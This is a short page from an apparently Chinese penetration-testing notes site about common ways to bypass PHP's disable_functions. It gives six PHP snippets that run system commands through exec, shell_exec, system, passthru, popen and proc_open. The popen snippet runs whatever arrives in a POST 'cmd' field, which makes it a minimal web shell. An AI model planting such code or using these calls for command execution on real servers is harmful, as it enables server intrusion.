menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 001-Disable function chevron_right 002-常规绕过.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-常规绕过.md
    736 B / 2021-07-17 00:01:40
        # ***常规绕过***
    
    **1\. exec**
    
    ```php
    <?php
      echo exec('whoami');?>
    
    ```
    
    **2\. shell_exec**
    
    ```php
    <?php
      echo shell_exec('whoami');?>
    
    ```
    
    **3\. system**
    
    ```php
    <?php
      system('whoami');?>
    
    ```
    
    **4\. passthru**
    
    ```php
    <?php
      passthru("whoami");?>
    
    ```
    
    **5\. popen**
    
    ```php
    <?php
    $command=$_POST['cmd'];
    $handle = popen($command , "r");
      while(!feof($handle))
      {     echo fread($handle, 1024);  //fread($handle, 1024);
      }  
      pclose($handle);?>
    
    ```
    
    **6\. proc_open**
    
    ```php
    <?php
      $command="ipconfig";
      $descriptorspec = array(1 => array("pipe", "w"));
      $handle = proc_open($command ,$descriptorspec , $pipes);
      while(!feof($pipes[1]))
      {     echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
      }?>
    
    ```
    
    
    
    links
    file_download